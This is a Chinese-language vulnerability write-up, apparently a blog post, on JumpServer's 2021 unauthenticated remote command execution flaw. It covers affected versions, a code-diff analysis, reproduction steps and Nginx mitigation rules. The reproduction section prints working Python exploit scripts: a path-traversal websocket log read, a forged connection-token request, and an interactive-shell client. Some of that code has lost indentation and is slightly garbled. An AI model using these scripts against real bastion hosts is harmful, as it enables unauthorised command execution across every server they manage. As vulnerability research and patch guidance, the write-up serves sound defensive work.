0x01 漏洞描述

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

0x02 影响版本

< v2.6.2
< v2.5.4
< v2.4.5
= v1.5.9

= v1.5.3

 

安全版本:

= v2.6.2 

= v2.5.4 

= v2.4.5
= v1.5.9 (版本号没变)
< v1.5.3

 

0x03 漏洞原理

通过版本对比,查看修复的地方。主要的变更如下:

1.增加了认证

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛


删除了一段权限获取的代码

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_02


通过对代码的分析,漏洞为一处未授权访问的漏洞,通过构造数据包,可以绕过相关的认证。

在新的代码更新中又增加了jms_check_attack.sh脚本

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_03


脚本的目的是检测网站是否被入侵,通过筛选gunicorn.log中的/connection-token/?token=是否请求成功来判断是否被入侵,我通过对代码的审计,包含/connection-token/?token=的请求是攻击者可以生成临时token的操作。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_04


对漏洞的分析,我们发现在触发日志操作后,可以看到websocket请求。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_05


通过请求,我们对照路由进行追踪,找到web请求的路由设置

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_06


继续追踪ws.TaskLogWebsocket

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_07


receive方法可以获取task_id的值

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_08


connect方法没有任意认证,之后在receive方法的接收数据的时候对log_type进行了定义。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_09


get_celery_task_log_path的定义,对读取文件的后缀进行了定义为.log类型。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_10


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_11


之后我们定位找到了read_log_file方法

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_12


到这里我们就可以通过websocket的未授权连接来通过读取日志中的敏感信息

之后发现在获取了相关的敏感信息后,我们是可以进行命令执行的。对前面提到的验证脚本进行分析,发现url中的connection-token 是在koko里面写的,是和Core交互的接口。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_13


然后对TokenAssetURL的流程进行跟踪,发现在GetTokenAsset方法中使用了这个常量。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_14


而processTokenWebsocket方法中调用了这个方法。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_15


之后websocketHandlers方法调用了processTokenWebsocket,同时在定义websocketHandlers方法的时候,没有对/token的路由进行认证。而调用的processTokenWebsocket可以通过传入的target_id运行runTTY,可以获得可以交互的命令行。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_16


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_配置文件_17


之后我们需要做的就是生成一个target_id,也就是task_id。分析代码更新的第二处,原来的代码apps\authentication\api\auth.py

可以生成可以生成一个20s的 cache token。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_18


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_19


这里构造临时token需要user,asset,system_user三个参数就可以,结合前面日志敏感信息的泄露,可以直接获得这三个参数。有了生成的token,可以通过构造恶意请求,可以获得一个命令行来执行命令。

0x04 漏洞复现

搭建环境,这个环境确实按照官方给的脚本不容易搭建,而且对于机器的要求比较高,可以下载官方的dockerfile,自己构建。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_20


涉及到websocket通信,除了可以用脚本写以外,可以使用chrome浏览器的websocket-test-client插件进行webscocket请求测试。

1.复现日志的读取,这里通过参数来读取jumpserver.log {"task":"/opt/jumpserver/logs/jumpserver"}

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_21


通过taskid进行查询 {"task":"a399d8ab-b018-4a8c-9ae9-a2c0449b77c8"}

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_22


也可以参考其他师傅的脚本,通过脚本的方式进行websocket通信。

import websocket 
import json 
import sys

def ws_open(ws): 
print("open") 
ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/jumpserver"}') 
def ws_readlogs(ws, message): 
print(json.loads(message)["message"])

if name == "main": 
websocket.enableTrace(True) 
ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",on_message = ws_readlogs, on_error = None, on_close = None) 
ws.on_open = ws_open 
ws.run_forever()

  

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_23


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_json_24


2.复现命令执行

首先,生成临时token,构造生成token的请求可以通过日志的泄露。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_25


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_配置文件_26


其实主要是获取api/v1/perms/asset-permissions/user/validate 请求中的信息

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_27


通过构造请求,生成临时token。

import requests 
import json 
data={"user":"44922e13-924d-4237-9470-88d9e7d09405","asset":"e7274615-bba6-42d1-a398-d569f7f45e67","system_user":"f12e9db4-eaff-4b59-8509-766946d2e937"} 
url_host='http://192.168.27.138:8080' 
def get_token(): 
url = url_host+'/api/v1/users/connection-token/?user-only=1' 
response = requests.post(url, json=data).json() 
print(response) 
return response['token'] 
if name == 'main': 
get_token()


jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_28


利用生成的token,可以进行连接。

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_nginx_29


把整个过程使用代码进行利用。 

import os 
import asyncio 
import aioconsole 
import websockets 
import requests 
import json 
url = "/api/v1/authentication/connection-token/?user-only=1"

#读取日志信息
def get_celery_task_log_path(task_id): 
task_id = str(task_id) 
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") 
path = os.path.join("/opt/jumpserver/", rel_path) 
return path 
async def send_msg(websocket, _text): 
if _text == "exit": 
print(f'you have enter "exit", goodbye') 
await websocket.close(reason="user exit") 
return False 
await websocket.send(_text) 
async def send_loop(ws, session_id): 
while True: 
cmdline = await aioconsole.ainput() 
await send_msg(ws,json.dumps({"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}),) 
async def recv_loop(ws): 
while True: 
recv_text = await ws.recv() 
ret = json.loads(recv_text) 
if ret.get("type", "TERMINAL_DATA"): 
await aioconsole.aprint(ret["data"], end="")

#客户端
async def main_logic(): 
print("####start ws") 
async with websockets.connect(target) as client: 
recv_text = await client.recv() 
print(f"{recv_text}") 
session_id = json.loads(recv_text)["id"] 
print("get ws id:" + session_id) 
print("-"60) 
print("init ws") 
print("-"60) 
inittext = json.dumps( 
{ 
"id": session_id, 
"type": "TERMINAL_INIT", 
"data": '{"cols":164,"rows":17}', 
} 
) 
await send_msg(client, inittext) 
await asyncio.gather(recv_loop(client), send_loop(client, session_id)) 
if name == "main": 
url_vul = "http://192.168.27.138:8080" 
if url_vul[-1] == "/": 
url_vul = url_vul[:-1] 
print(url_vul) 
data = { 
"user": "44922e13-924d-4237-9470-88d9e7d09405", 
"asset": "e7274615-bba6-42d1-a398-d569f7f45e67", 
"system_user": "f12e9db4-eaff-4b59-8509-766946d2e937", 
} 
print("-"60) 
print("get token url:%s" % (host + url,)) 
print("-"60) 
res = requests.post(url_vul + url, json=data) 
token = res.json()["token"] 
print("token:%s", (token,)) 
print("-"*60) 
target = ("ws://" + url_vul.replace("http://", "") + "/koko/ws/token/?target_id=" + token) 
print("target ws:%s" % (target,)) 
asyncio.get_event_loop().run_until_complete(main_logic())

  

jumpserver能监控服务器状态嘛 jumpserver 远程命令执行漏洞_jumpserver能监控服务器状态嘛_30

0x05 漏洞修复

将JumpServer升级至安全版本; 

临时修复方案: 

修改 Nginx 配置文件屏蔽漏洞接口 

/api/v1/authentication/connection-token/ 

/api/v1/users/connection-token/Nginx 配置文件位置
社区老版本
/etc/nginx/conf.d/jumpserver.conf
企业老版本
jumpserver-release/nginx/http_server.conf
新版本在
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ { 

   return 403; 

}location /api/v1/users/connection-token/ { 

   return 403; 

}新增以上这些
location /api/ { 

    proxy_set_header X-Real-IP remoteaddr;proxysetheaderHosthost; 

    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 

    proxy_pass http://core:8080; 

  }...
修改完成后重启 nginx 

docker方式:  

docker restart jms_nginxnginx方式: 

systemctl restart nginx